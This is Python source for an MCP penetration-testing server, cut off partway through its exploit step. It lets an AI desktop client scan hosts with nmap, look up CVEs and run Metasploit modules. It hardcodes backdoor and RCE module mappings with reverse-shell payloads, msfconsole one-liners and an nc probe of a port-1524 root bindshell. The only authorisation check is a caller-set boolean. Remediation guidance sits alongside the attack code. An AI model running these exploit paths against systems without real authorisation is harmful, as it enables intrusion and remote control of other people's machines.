"""
PentestChain Server — 7-Step Pentest Workflow + Active Insights
=============================================================
Architecture:
Claude Desktop <--> MCP tools (this file, port 8000)
|
+--> Flask engine (port 4444, runs inside Docker)
|-- nmap / nse
|-- metasploit / msfrpcd
|-- nikto / dirb / sqlmap / dalfox
Insight tools work WITHOUT Docker — they read saved results/ files directly.
"""
from __future__ import annotations
import json
import os
import socket
import subprocess
import time
from pathlib import Path
from typing import Any, Optional
import requests
from mcp.server.fastmcp import FastMCP
# Web Application Knowledge Base — auto-detection + verified vulns
try:
from webapp_kb import (
fingerprint_webapp, get_verified_vulns, get_app_info,
get_all_app_ids, get_scan_paths, get_auth_info,
format_kb_vulns_for_report, VULN_KB, AppDetection,
)
_HAS_WEBAPP_KB = True
except ImportError:
_HAS_WEBAPP_KB = False
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
APP_URL = os.environ.get("PENTEST_APP_URL", "http://localhost:4444")
MCP_HOST = os.environ.get("MCP_HOST", "0.0.0.0")
MCP_PORT = int(os.environ.get("MCP_PORT", "8000"))
POLL_SECS = float(os.environ.get("PENTEST_POLL", "3"))
SCAN_TIMEOUT = int(os.environ.get("PENTEST_TIMEOUT", "1800"))
_SCRIPT_DIR = Path(__file__).parent
RESULTS_DIR = Path(os.environ.get("RESULTS_DIR", str(_SCRIPT_DIR / "results")))
mcp = FastMCP(
name="pentestchain",
instructions=(
"Penetration testing assistant — three modes:\n"
"SCAN (Docker required): step1_validate_target -> step2_port_scan -> "
"step3_nse_scan -> step4_cve_lookup -> step5_run_exploit -> "
"step6_web_scan -> step7_get_report_data\n"
"WEBAPP AUTO-DETECT: webapp_detect -> webapp_get_vulns (23 apps, 132 verified vulns)\n"
"INSIGHT (no Docker): list_scan_sessions -> get_active_insights / "
"get_vulnerabilities / get_available_exploits / get_remediation_plan / "
"get_service_risk_matrix"
),
)
# ---------------------------------------------------------------------------
# Internal helpers
# ---------------------------------------------------------------------------
def _get(path: str, timeout: int = 60) -> dict:
try:
r = requests.get(f"{APP_URL}{path}", timeout=timeout)
return r.json()
except Exception as e:
return {"error": str(e)}
def _post(path: str, payload: dict, timeout: int = 120) -> dict:
try:
r = requests.post(f"{APP_URL}{path}", json=payload, timeout=timeout)
return r.json()
except Exception as e:
return {"error": str(e)}
def _docker_cmd(cmd: str, timeout: int = 120) -> str:
try:
r = requests.post(
f"{APP_URL}/api/run_cmd",
json={"command": cmd, "timeout": timeout},
timeout=timeout + 10,
)
data = r.json()
return data.get("output", data.get("error", "no output"))
except Exception:
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return (r.stdout + r.stderr).strip()
except subprocess.TimeoutExpired:
return f"TIMEOUT after {timeout}s"
except Exception as e:
return f"ERROR: {e}"
_run_cmd = _docker_cmd
def _auto_lhost() -> str:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "0.0.0.0"
def _wait_progress(min_pct: int, timeout_s: int = 50) -> None:
deadline = time.time() + min(timeout_s, 50)
while time.time() < deadline:
st = _get("/api/status")
if st.get("progress", 0) >= min_pct or not st.get("running", True):
return
time.sleep(POLL_SECS)
# ---------------------------------------------------------------------------
# Insight helpers
# ---------------------------------------------------------------------------
def _latest_session() -> Optional[Path]:
sessions = sorted(RESULTS_DIR.glob("*/"), key=lambda p: p.stat().st_mtime, reverse=True)
return sessions[0] if sessions else None
def _load_report(session_id: Optional[str]) -> dict:
if session_id:
path = RESULTS_DIR / session_id / "report.json"
else:
sess = _latest_session()
if not sess:
return {"error": "No scan sessions found. Run a scan first."}
path = sess / "report.json"
if not path.exists():
return {"error": f"report.json not found at {path}"}
try:
return json.loads(path.read_text())
except Exception as e:
return {"error": f"Failed to parse report.json: {e}"}
def _cvss_badge(score: Optional[float]) -> str:
if score is None:
return "N/A"
if score >= 9.0:
return f"{score} [CRITICAL]"
if score >= 7.0:
return f"{score} [HIGH]"
if score >= 4.0:
return f"{score} [MEDIUM]"
return f"{score} [LOW]"
# ===========================================================================
# INSIGHT TOOLS — no Docker required
# ===========================================================================
@mcp.tool(
name="list_scan_sessions",
annotations={"title": "List Saved Scan Sessions", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def list_scan_sessions() -> dict:
"""
List all saved pentest scan sessions in the results/ directory.
Returns session IDs, targets, risk scores, CVE counts.
Use session_id with the other insight tools.
"""
if not RESULTS_DIR.exists():
return {"error": f"Results directory not found: {RESULTS_DIR}", "sessions": []}
sessions = []
for sess_dir in sorted(RESULTS_DIR.glob("*/"), key=lambda p: p.name, reverse=True):
report_path = sess_dir / "report.json"
entry: dict[str, Any] = {
"session_id": sess_dir.name, "path": str(sess_dir),
"has_report": report_path.exists(), "target": "unknown",
"risk_score": None, "open_ports": 0, "total_cves": 0,
"critical_cves": 0, "high_cves": 0, "exploits": 0,
}
if report_path.exists():
try:
r = json.loads(report_path.read_text())
entry["target"] = r.get("target", "unknown")
entry["risk_score"] = r.get("risk_score")
entry["open_ports"] = len(r.get("services", []))
flat = [c for cvs in r.get("all_cves", {}).values()
for c in (cvs or []) if isinstance(c, dict)]
entry["total_cves"] = len(flat)
entry["critical_cves"] = sum(1 for c in flat if (c.get("score") or 0) >= 9.0)
entry["high_cves"] = sum(1 for c in flat if 7.0 <= (c.get("score") or 0) < 9.0)
entry["exploits"] = len(r.get("exploits", []))
except Exception:
pass
sessions.append(entry)
latest = _latest_session()
return {
"sessions": sessions,
"total_sessions": len(sessions),
"latest_session_id": latest.name if latest else None,
"results_dir": str(RESULTS_DIR),
"tip": "Pass session_id to get_active_insights for full analysis.",
}
@mcp.tool(
name="get_active_insights",
annotations={"title": "Get Active Security Insights", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def get_active_insights(session_id: str = "") -> dict:
"""
Synthesize actionable security insights from a saved scan session.
Returns prioritised vuln summary, exploitable services, ready MSF modules,
and remediation priorities. Works WITHOUT Docker.
Args:
session_id: Session folder name e.g. '20260410_161458'. Empty = latest.
"""
r = _load_report(session_id or None)
if "error" in r:
return r
target = r.get("target", "unknown")
services = r.get("services", [])
all_cves_raw = r.get("all_cves", {})
risk = r.get("risk_score", 0)
os_name = r.get("os_name", "Unknown")
flat_cves = sorted(
[dict(**c, service_key=k) for k, cvs in all_cves_raw.items()
for c in (cvs or []) if isinstance(c, dict)],
key=lambda c: c.get("score") or 0, reverse=True,
)
critical = [c for c in flat_cves if (c.get("score") or 0) >= 9.0]
high = [c for c in flat_cves if 7.0 <= (c.get("score") or 0) < 9.0]
exploitdb = [c for c in flat_cves if c.get("source") == "ExploitDB"]
MSF_SIGS = {
"vsftpd 2.3.4": "exploit/unix/ftp/vsftpd_234_backdoor",
"proftpd 1.3": "exploit/unix/ftp/proftpd_133c_backdoor",
"samba 3.0.20": "exploit/multi/samba/usermap_script",
"unrealircd 3.2.8.1": "exploit/unix/irc/unreal_ircd_3281_backdoor",
"distcc": "exploit/unix/misc/distcc_exec",
"java rmi": "exploit/multi/misc/java_rmi_server",
"apache tomcat": "exploit/multi/http/tomcat_mgr_upload",
"drb": "exploit/linux/misc/drb_remote_codeexec",
}
exploitable = []
for svc in services:
banner = f"{svc.get('product','')} {svc.get('version','')}".lower()
port = svc.get("port", "")
module = None
for sig, mod in MSF_SIGS.items():
if sig in banner:
module = mod
break
if str(port) == "1524":
module = f"nc {target} 1524 (direct root bindshell)"
if module:
exploitable.append({
"port": port, "service": svc.get("service", ""),
"banner": f"{svc.get('product','')} {svc.get('version','')}".strip(),
"msf_module": module, "severity": "CRITICAL",
})
risk_label = "CRITICAL" if risk >= 9 else "HIGH" if risk >= 7 else "MEDIUM" if risk >= 4 else "LOW"
rem_priorities = []
for svc in exploitable[:5]:
rem_priorities.append({"port": svc["port"],
"action": f"Patch/disable {svc['banner']} on port {svc['port']}",
"urgency": "IMMEDIATE"})
for svc in services:
sn = svc.get("service", "").lower()
port = str(svc.get("port", ""))
if sn == "telnet" and not any(rp["port"] == port for rp in rem_priorities):
rem_priorities.append({"port": port, "action": "Disable Telnet; use SSH", "urgency": "HIGH"})
return {
"session_id": r.get("ts", session_id),
"target": target,
"os_detected": os_name,
"risk_score": risk,
"risk_label": risk_label,
"executive_summary": (
f"Target {target} ({os_name}) scored {risk}/10 — risk: {risk_label}. "
f"{len(services)} open services, {len(critical)} CRITICAL CVEs, "
f"{len(high)} HIGH CVEs ({len(flat_cves)} total). "
f"{len(exploitable)} services have ready Metasploit modules. "
f"{len(exploitdb)} ExploitDB entries found."
),
"open_ports": len(services),
"total_cves": len(flat_cves),
"critical_cves": len(critical),
"high_cves": len(high),
"exploitdb_entries": len(exploitdb),
"exploitable_services": exploitable,
"top_cves": [
{"id": c.get("id"), "cvss": _cvss_badge(c.get("score")),
"description": (c.get("description") or "")[:120],
"service_key": c.get("service_key"),
"exploit_available": c.get("exploit_available", False)}
for c in flat_cves[:10]
],
"msf_modules_ready": [
{"port": e["port"], "banner": e["banner"], "module": e["msf_module"],
"command": (f"msfconsole -q -x \"use {e['msf_module']}; "
f"set RHOSTS {target}; set RPORT {e['port']}; run; exit\""
if "nc " not in e["msf_module"] else e["msf_module"])}
for e in exploitable
],
"remediation_priorities": rem_priorities,
"next_steps": [
"Run get_vulnerabilities for full filtered CVE list",
"Run get_available_exploits to see pre-generated .rc scripts",
"Run get_remediation_plan for detailed fix commands",
"Run get_service_risk_matrix for per-port risk breakdown",
],
}
@mcp.tool(
name="get_vulnerabilities",
annotations={"title": "Get Vulnerability List", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def get_vulnerabilities(
session_id: str = "",
min_cvss: float = 0.0,
severity_filter: str = "",
service_port: str = "",
exploitable_only: bool = False,
) -> dict:
"""
Return filtered and sorted CVE list from a saved scan session.
Args:
session_id: Session folder name. Empty = latest.
min_cvss: Minimum CVSS score (0.0-10.0).
severity_filter: CRITICAL / HIGH / MEDIUM / LOW
service_port: Filter by port e.g. '21', '445'.
exploitable_only: Only CVEs with ExploitDB entries.
"""
r = _load_report(session_id or None)
if "error" in r:
return r
flat = []
for key, cvs in r.get("all_cves", {}).items():
port = key.split(":")[-1] if ":" in key else ""
for c in (cvs or []):
if not isinstance(c, dict):
continue
score = c.get("score")
flat.append({
"cve_id": c.get("id", ""), "cvss": score,
"cvss_display": _cvss_badge(score),
"severity": c.get("severity", ""),
"description": c.get("description", ""),
"source": c.get("source", ""),
"exploit_available": c.get("exploit_available", False),
"edb_id": c.get("edb_id", ""),
"service_key": key, "port": port,
})
if min_cvss > 0:
flat = [c for c in flat if (c["cvss"] or 0) >= min_cvss]
if severity_filter:
sf = severity_filter.upper()
flat = [c for c in flat if sf in (c["severity"] or "").upper()]
if service_port:
flat = [c for c in flat if c["port"] == service_port]
if exploitable_only:
flat = [c for c in flat if c["exploit_available"]]
flat.sort(key=lambda c: c["cvss"] or 0, reverse=True)
return {
"session_id": r.get("ts", session_id),
"target": r.get("target", ""),
"total_found": len(flat),
"filters": {"min_cvss": min_cvss, "severity_filter": severity_filter,
"service_port": service_port, "exploitable_only": exploitable_only},
"vulnerabilities": flat,
"summary": {
"critical": sum(1 for c in flat if (c["cvss"] or 0) >= 9.0),
"high": sum(1 for c in flat if 7.0 <= (c["cvss"] or 0) < 9.0),
"medium": sum(1 for c in flat if 4.0 <= (c["cvss"] or 0) < 7.0),
"low": sum(1 for c in flat if 0 < (c["cvss"] or 0) < 4.0),
"with_exploit": sum(1 for c in flat if c["exploit_available"]),
},
}
@mcp.tool(
name="get_available_exploits",
annotations={"title": "Get Available Exploit Scripts", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def get_available_exploits(session_id: str = "", show_rc_content: bool = False) -> dict:
"""
List pre-generated Metasploit .rc exploit scripts from a saved scan session.
Args:
session_id: Session folder. Empty = latest.
show_rc_content: Include full .rc script text.
"""
r = _load_report(session_id or None)
if "error" in r:
return r
sess_name = r.get("ts", session_id)
sess_dir = RESULTS_DIR / sess_name
exploits = r.get("exploits", [])
result_exploits = []
for exp in exploits:
rc_path_raw = exp.get("rc", "")
rc_local: Optional[Path] = None
if rc_path_raw:
fname = Path(rc_path_raw).name
for cand in [sess_dir / "exploits" / fname,
sess_dir / "exploits" / f"ai_{fname}"]:
if cand.exists():
rc_local = cand
break
entry: dict[str, Any] = {
"port": exp.get("port", ""), "service": exp.get("service", ""),
"product": exp.get("product", ""), "version": exp.get("version", ""),
"banner": exp.get("banner", ""), "msf_module": exp.get("module", ""),
"payload": exp.get("payload", ""), "needs_lhost": exp.get("needs_lhost", False),
"rc_path": str(rc_local) if rc_local else rc_path_raw,
"rc_exists_locally": rc_local is not None and rc_local.exists(),
}
if show_rc_content and rc_local and rc_local.exists():
try:
entry["rc_content"] = rc_local.read_text()
except Exception as e:
entry["rc_content"] = f"Error reading file: {e}"
result_exploits.append(entry)
extra_rc = []
exploits_dir = sess_dir / "exploits"
if exploits_dir.exists():
for rc_f in exploits_dir.glob("*.rc"):
if not any(e.get("rc_path", "").endswith(rc_f.name) for e in result_exploits):
extra_rc.append(rc_f.name)
return {
"session_id": sess_name, "target": r.get("target", ""),
"total_exploits": len(result_exploits), "exploits": result_exploits,
"extra_rc_files": extra_rc,
"run_instructions": (
"Execute: use step5_run_exploit with module+port, "
"OR inside Docker: msfconsole -r /path/to/script.rc"
),
}
@mcp.tool(
name="get_remediation_plan",
annotations={"title": "Get Remediation Plan", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def get_remediation_plan(session_id: str = "") -> dict:
"""
Return a structured remediation plan from a saved scan session.
Includes per-service fix commands, urgency ratings, and CVE references.
Args:
session_id: Session folder. Empty = latest.
"""
r = _load_report(session_id or None)
if "error" in r:
return r
sess_name = r.get("ts", session_id)
sess_dir = RESULTS_DIR / sess_name
services = r.get("services", [])
all_cves = r.get("all_cves", {})
target = r.get("target", "")
# Remediation knowledge base
KB: dict[str, Any] = {
"ftp": {
"vsftpd 2.3.4": {
"urgency": "CRITICAL",
"issue": "CVE-2011-2523 backdoor in vsftpd 2.3.4 opens shell on port 6200",
"fix": "Upgrade vsftpd to 3.0.5+; replace with SFTP",
"commands": ["apt-get remove vsftpd",
"apt-get install openssh-server # use SFTP instead"],
"replace_with": "SFTP",
},
"proftpd 1.3": {
"urgency": "CRITICAL",
"issue": "CVE-2009-0542 SQL injection in ProFTPD 1.3.x",
"fix": "Upgrade ProFTPD or replace with SFTP",
"commands": ["apt-get update && apt-get install proftpd-basic"],
"replace_with": "SFTP",
},
"default": {
"urgency": "HIGH",
"issue": "FTP transmits credentials in plaintext",
"fix": "Replace FTP with SFTP or FTPS",
"commands": ["systemctl disable vsftpd && systemctl stop vsftpd"],
"replace_with": "SFTP",
},
},
"telnet": {
"default": {
"urgency": "HIGH",
"issue": "Telnet transmits all traffic including passwords in plaintext",
"fix": "Disable Telnet; use SSH",
"commands": ["systemctl disable telnet.socket",
"systemctl stop telnet.socket",
"systemctl enable ssh && systemctl start ssh"],
"replace_with": "SSH",
},
},
"smtp": {
"default": {
"urgency": "MEDIUM",
"issue": "Open relay or weak SMTP config",
"fix": "Restrict relay, enforce TLS, update Postfix",
"commands": [
"apt-get update && apt-get upgrade postfix",
"postconf -e 'smtpd_relay_restrictions = permit_mynetworks, reject_unauth_destination'",
"postconf -e 'smtpd_tls_security_level = may'",
],
},
},
"netbios-ssn": {
"default": {
"urgency": "CRITICAL",
"issue": "Samba/SMB exposed — potential EternalBlue RCE",
"fix": "Patch Samba; disable SMBv1; restrict access",
"commands": [
"apt-get update && apt-get upgrade samba",
"# Add to /etc/samba/smb.conf [global]: min protocol = SMB2",
"ufw allow from 192.168.0.0/24 to any port 445",
],
},
},
"mysql": {
"default": {
"urgency": "HIGH",
"issue": "MySQL exposed externally with potential empty passwords",
"fix": "Restrict to localhost; run mysql_secure_installation",
"commands": [
"mysql_secure_installation",
"# /etc/mysql/my.cnf: bind-address = 127.0.0.1",
"systemctl restart mysql",
],
},
},
"postgresql": {
"default": {
"urgency": "HIGH",
"issue": "PostgreSQL exposed; COPY TO/FROM PROGRAM allows OS command execution",
"fix": "Restrict to localhost; enforce strong auth",
"commands": [
"# /etc/postgresql/*/main/postgresql.conf: listen_addresses = 'localhost'",
"systemctl restart postgresql",
],
},
},
"irc": {
"default": {
"urgency": "CRITICAL",
"issue": "UnrealIRCd 3.2.8.1 backdoor (CVE-2010-2075) — remote code execution",
"fix": "Remove immediately; upgrade to UnrealIRCd 6.x",
"commands": [
"systemctl stop unrealircd",
"apt-get remove unrealircd",
"# Install 6.x from unrealircd.org",
],
},
},
"exec": {
"default": {
"urgency": "CRITICAL",
"issue": "rexec on port 512 — unauthenticated remote command execution",
"fix": "Disable rexec immediately",
"commands": ["update-inetd --disable exec", "systemctl restart inetd"],
},
},
"drb": {
"default": {
"urgency": "CRITICAL",
"issue": "Ruby DRb exposed — arbitrary remote Ruby code execution",
"fix": "Add DRb ACL restricting to localhost",
"commands": [
"# In Ruby app add:",
"# acl = ACL.new(['deny','all','allow','127.0.0.1'])",
"# DRb.start_service(uri, obj, acl: acl)",
],
},
},
"http": {
"default": {
"urgency": "MEDIUM",
"issue": "HTTP without TLS — plaintext traffic",
"fix": "Enable HTTPS; redirect HTTP to HTTPS",
"commands": ["a2enmod ssl", "a2ensite default-ssl",
"systemctl restart apache2"],
},
},
"domain": {
"default": {
"urgency": "MEDIUM",
"issue": "DNS exposed — potential zone transfer or cache poisoning",
"fix": "Restrict zone transfers; update BIND",
"commands": ["apt-get update && apt-get upgrade bind9",
"# named.conf: allow-transfer { none; };"],
},
},
}
PORT_OVERRIDES: dict[str, dict] = {
"1524": {
"urgency": "CRITICAL",
"issue": "Ingreslock backdoor (port 1524) — unauthenticated root shell",
"fix": "Block at firewall; kill listener; investigate compromise",
"commands": ["ufw deny 1524", "fuser -k 1524/tcp",
"# Investigate how backdoor was installed"],
},
"512": {
"urgency": "CRITICAL",
"issue": "rexec (port 512) — unauthenticated remote command execution",
"fix": "Disable rexec/rsh services immediately",
"commands": ["update-inetd --disable exec rsh rlogin",
"systemctl restart inetd"],
},
}
items = []
for svc in services:
svc_name = (svc.get("service") or "").lower()
product = (svc.get("product") or "").lower()
version = (svc.get("version") or "").lower()
port = str(svc.get("port", ""))
banner = f"{product} {version}".strip()
rem = PORT_OVERRIDES.get(port)
if rem is None:
kb = KB.get(svc_name, {})
rem = next((kb[k] for k in kb if k != "default" and k in banner), None)
if rem is None:
rem = kb.get("default")
port_cves = all_cves.get(f"{target}:{port}", []) or []
cve_ids = [c.get("id") for c in port_cves if isinstance(c, dict) and c.get("id")]
items.append({
"port": port,
"service": svc_name,
"banner": f"{svc.get('product','')} {svc.get('version','')}".strip(),
"urgency": rem.get("urgency", "LOW") if rem else "LOW",
"issue": rem.get("issue", f"Review service on port {port}") if rem else f"Review service on port {port}",
"fix": rem.get("fix", "Apply latest vendor patches") if rem else "Apply vendor patches",
"commands": rem.get("commands", []) if rem else [],
"replace_with": rem.get("replace_with", "") if rem else "",
"related_cves": cve_ids[:5],
})
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
items.sort(key=lambda x: order.get(x["urgency"], 9))
rem_scripts: dict[str, str] = {}
rem_dir = sess_dir / "remediation"
if rem_dir.exists():
for f in rem_dir.iterdir():
rem_scripts[f.name] = str(f)
return {
"session_id": sess_name,
"target": target,
"total_findings": len(items),
"remediation_steps": items,
"urgency_summary": {
"CRITICAL": sum(1 for i in items if i["urgency"] == "CRITICAL"),
"HIGH": sum(1 for i in items if i["urgency"] == "HIGH"),
"MEDIUM": sum(1 for i in items if i["urgency"] == "MEDIUM"),
"LOW": sum(1 for i in items if i["urgency"] == "LOW"),
},
"remediation_scripts": rem_scripts,
"general_advice": [
"Patch OS: apt-get update && apt-get dist-upgrade",
"Enable firewall: ufw enable — whitelist only required ports",
"Least privilege: run services as non-root with minimal permissions",
"Enable audit logging: apt-get install auditd",
"Re-scan after patching to verify all fixes applied",
],
}
@mcp.tool(
name="get_service_risk_matrix",
annotations={"title": "Get Service Risk Matrix", "readOnlyHint": True,
"destructiveHint": False, "idempotentHint": True, "openWorldHint": False},
)
def get_service_risk_matrix(session_id: str = "") -> dict:
"""
Per-service risk matrix: CVSS scores, CVE counts, exploit availability
for each open port. Sorted CRITICAL first.
Args:
session_id: Session folder. Empty = latest.
"""
r = _load_report(session_id or None)
if "error" in r:
return r
target = r.get("target", "")
services = r.get("services", [])
all_cves = r.get("all_cves", {})
exploit_ports = {str(e.get("port", "")) for e in r.get("exploits", [])}
matrix = []
for svc in services:
port = str(svc.get("port", ""))
port_cves = [c for c in (all_cves.get(f"{target}:{port}") or []) if isinstance(c, dict)]
max_cvss = max((c.get("score") or 0 for c in port_cves), default=0.0)
has_exp = port in exploit_ports or any(c.get("exploit_available") for c in port_cves)
if max_cvss >= 9.0 or (has_exp and max_cvss >= 7.0) or port in ("1524", "512"):
risk_level = "CRITICAL"
elif max_cvss >= 7.0 or has_exp:
risk_level = "HIGH"
elif max_cvss >= 4.0:
risk_level = "MEDIUM"
else:
risk_level = "LOW"
matrix.append({
"port": port, "service": svc.get("service", ""),
"product": svc.get("product", ""), "version": svc.get("version", ""),
"banner": f"{svc.get('product','')} {svc.get('version','')}".strip(),
"risk_level": risk_level, "max_cvss": round(max_cvss, 1),
"cve_count": len(port_cves), "has_exploit": has_exp,
"cve_ids": [c.get("id") for c in port_cves if c.get("id")][:5],
})
order = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
matrix.sort(key=lambda x: (order.get(x["risk_level"], 9), -(x["max_cvss"] or 0)))
return {
"session_id": r.get("ts", session_id),
"target": target,
"risk_matrix": matrix,
"summary": {
"CRITICAL": sum(1 for m in matrix if m["risk_level"] == "CRITICAL"),
"HIGH": sum(1 for m in matrix if m["risk_level"] == "HIGH"),
"MEDIUM": sum(1 for m in matrix if m["risk_level"] == "MEDIUM"),
"LOW": sum(1 for m in matrix if m["risk_level"] == "LOW"),
"with_exploit": sum(1 for m in matrix if m["has_exploit"]),
},
}
# ===========================================================================
# SCAN WORKFLOW TOOLS (require Docker / Flask on port 4444)
# ===========================================================================
@mcp.tool()
def step1_validate_target(
target: str,
scan_type: str = "standard",
scope_confirmed: bool = False,
) -> dict:
"""
STEP 1 - Validate target and set scan profile. Must call first.
scope_confirmed must be True (confirms authorised testing).
Args:
target: IP or hostname e.g. 10.202.41.178
scan_type: quick / standard / deep / web-only
scope_confirmed: Must be True
"""
if not scope_confirmed:
return {"error": "scope_confirmed must be True.",
"hint": "Call again with scope_confirmed=True once authorisation confirmed."}
resolved = target
try:
resolved = socket.gethostbyname(target)
except Exception:
pass
port_ranges = {"quick": "1-1000", "standard": "1-10000",
"deep": "1-65535", "web-only": "80,443,8080,8443,8000,8888,3000,5000"}
caps = _get("/api/capabilities", timeout=5)
return {
"step": 1, "target": target, "resolved_ip": resolved,
"scan_type": scan_type, "port_range": port_ranges.get(scan_type, "1-10000"),
"lhost": _auto_lhost(), "lport": 4445, "scope_ok": True,
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
"engine_ok": "error" not in caps,
"next_step": "Call step2_port_scan with target and port_range",
}
@mcp.tool()
def step2_port_scan(
target: str,
port_range: str = "1-10000",
scan_type: str = "standard",
threads: int = 300,
) -> dict:
"""
STEP 2 - Port scan + service banner detection.
Args:
target: IP or hostname
port_range: e.g. 1-10000
scan_type: quick / standard / deep / web-only
threads: 100-500
"""
lhost = _auto_lhost()
_post("/api/scan", {"target": target, "ports": port_range,
"scan_profile": scan_type, "lhost": lhost,
"lport": 4445, "threads": threads}, timeout=30)
nmap_out = _docker_cmd(f"nmap -sV --open -T4 -p {port_range} {target} 2>&1", timeout=45)
open_ports = []
for line in nmap_out.splitlines():
if "/tcp" in line and "open" in line:
try:
open_ports.append(int(line.split("/")[0].strip()))
except Exception:
pass
results = _get("/api/results")
services = results.get("services", [])
if not services and open_ports:
services = [{"port": p, "protocol": "tcp", "state": "open"} for p in open_ports]
return {
"step": 2, "target": target, "open_ports": open_ports,
"open_ports_csv": ",".join(str(p) for p in open_ports),
"services": services, "nmap_output": nmap_out,
"os_guess": results.get("os_name", ""),
"scan_still_running": results.get("running", True),
"next_step": "Classify services CRITICAL/HIGH/MEDIUM/LOW. Then call step3_nse_scan.",
}
@mcp.tool()
def step3_nse_scan(target: str, ports: str = "") -> dict:
"""
STEP 3 - Nmap NSE vulnerability scripts per service.
Args:
target: IP or hostname
ports: comma-separated open ports from step2 e.g. 21,22,80,445
"""
if not ports:
results = _get("/api/results")
svcs = results.get("services", [])
ports = ",".join(str(s.get("port","")) for s in svcs if s.get("port"))
if not ports:
return {"error": "No open ports. Run step2_port_scan first."}
port_list = [p.strip() for p in ports.split(",") if p.strip()]
SCRIPTS = (
"ftp-vsftpd-backdoor,ftp-anon,"
"smb-vuln-ms17-010,smb-vuln-ms08-067,smb-enum-shares,smb-os-discovery,"
"irc-unrealircd-backdoor,distcc-cve2004-2687,"
"mysql-empty-password,mysql-databases,mysql-info,"
"vnc-info,realvnc-auth-bypass,rmi-vuln-classloader,rmi-dumpregistry,"
"http-title,http-enum,ssh-auth-methods"
)
nse_out = _docker_cmd(f"nmap --script={SCRIPTS} -p {ports} --script-timeout 20s -T4 {target} 2>&1", timeout=50)
shell_1524 = _docker_cmd(f"timeout 3 bash -c 'echo id | nc -w 2 {target} 1524' 2>&1", timeout=8)
vnc_check = _docker_cmd(f"timeout 5 nmap --script=vnc-info,realvnc-auth-bypass -p 5900 {target} 2>&1", timeout=10)
confirmed = []
for line in nse_out.splitlines():
if "VULNERABLE" in line or "backdoor" in line.lower():
confirmed.append(line.strip())
if shell_1524 and "uid=" in shell_1524:
confirmed.append("PORT 1524: ROOT SHELL CONFIRMED — " + shell_1524.strip())
return {
"step": 3, "target": target, "ports_scanned": port_list,
"nse_output": nse_out, "port_1524_shell": shell_1524,
"vnc_check": vnc_check, "confirmed_vulns": confirmed,
"next_step": "Extract CVE IDs from confirmed vulns. Then call step4_cve_lookup.",
}
@mcp.tool()
def step4_cve_lookup(target: str, services_json: str = "") -> dict:
"""
STEP 4 - CVE lookup per service via NVD + ExploitDB + searchsploit.
Args:
target: IP or hostname
services_json: JSON list from step2 (optional — uses API results if empty)
"""
try:
services = json.loads(services_json) if services_json else []
except Exception:
services = []
if not services:
services = _get("/api/results").get("services", [])
_wait_progress(60, timeout_s=300)
results = _get("/api/results")
all_cves = results.get("all_cves", {})
searchsploit: dict = {}
for svc in services[:15]:
product = svc.get("product", "")
if product:
query = f"{product} {svc.get('version','')}".strip()
out = _run_cmd(f"searchsploit --json {query} 2>/dev/null || searchsploit {query} 2>&1", timeout=15)
searchsploit[f"{svc.get('port','?')}:{product}"] = out[:2000]
MSF_MAP = {
"vsftpd 2.3.4": {"module": "exploit/unix/ftp/vsftpd_234_backdoor", "needs_lhost": False, "payload": ""},
"proftpd 1.3.3": {"module": "exploit/unix/ftp/proftpd_133c_backdoor", "needs_lhost": False, "payload": ""},
"samba 3.0.20": {"module": "exploit/multi/samba/usermap_script", "needs_lhost": False, "payload": ""},
"unrealircd 3.2.8.1": {"module": "exploit/unix/irc/unreal_ircd_3281_backdoor", "needs_lhost": False, "payload": ""},
"distcc": {"module": "exploit/unix/misc/distcc_exec", "needs_lhost": True, "payload": "cmd/unix/reverse_bash"},
"apache 2.2": {"module": "exploit/multi/http/php_cgi_arg_injection", "needs_lhost": True, "payload": "php/meterpreter/reverse_tcp"},
"java rmi": {"module": "exploit/multi/misc/java_rmi_server", "needs_lhost": True, "payload": "java/meterpreter/reverse_tcp"},
"tomcat": {"module": "exploit/multi/http/tomcat_mgr_upload", "needs_lhost": True, "payload": "java/meterpreter/reverse_tcp"},
"drb": {"module": "exploit/linux/misc/drb_remote_codeexec", "needs_lhost": True, "payload": "cmd/unix/reverse_bash"},
}
advisories = []
for svc in services:
banner = f"{svc.get('product','')} {svc.get('version','')} {svc.get('banner','')}".lower()
port = svc.get("port", "")
msf = None
for kw, info in MSF_MAP.items():
if kw in banner:
msf = info
break
if str(port) == "1524":
msf = {"module": "NONE", "cmd": f"nc {target} 1524", "note": "Direct root bindshell"}
advisories.append({**svc, "msf": msf, "cves": all_cves.get(f"{target}:{port}", [])})
return {
"step": 4, "target": target,
"service_advisories": advisories, "all_cves": all_cves,
"searchsploit": searchsploit,
"next_step": "Rank CVEs by CVSS. Call step5_run_exploit for CRITICAL/HIGH findings.",
}
@mcp.tool()
def step5_run_exploit(
target: str, port: int, module: str,
payload: str = "", needs_lhost: bool = True,
lhost: str = "", lport: int = 4445, timeout: int = 60,
) -> dict:
"""
STEP 5 - Run a Metasploit module. Returns raw output.
Args:
target: Target IP
port: Target port
module: Full MSF module path e.g. exploit/unix/ftp/vsftpd_234_backdoor
payload: MSF payload (empty for bind/backdoor exploits)
needs_lhost: True for reverse shells
lhost: Your IP (auto-detected if empty)
lport: Listener port (default 4445)
timeout: Seconds to wait
RULES:
- vsftpd/usermap_script/unreal_ircd -> needs_lhost=False, payload=""
- distcc/java_rmi/tomcat -> needs_lhost=True
- Port 1524 -> use run_shell_command("nc TARGET 1524")
"""
if not lhost:
lhost = _auto_lhost()
if port == 1524:
out = _run_cmd(f"timeout 5 nc -w 5 {target} 1524 &1 && echo OPEN || echo CLOSED", timeout=10)
return {"step": 5, "target": target, "port": 1524, "method": "bindshell",
"output": out, "hint": f"nc {target} 1524 for root shell"}
cmds = [f"use {module}", f"set RHOSTS {target}", f"set RPORT {port}"]
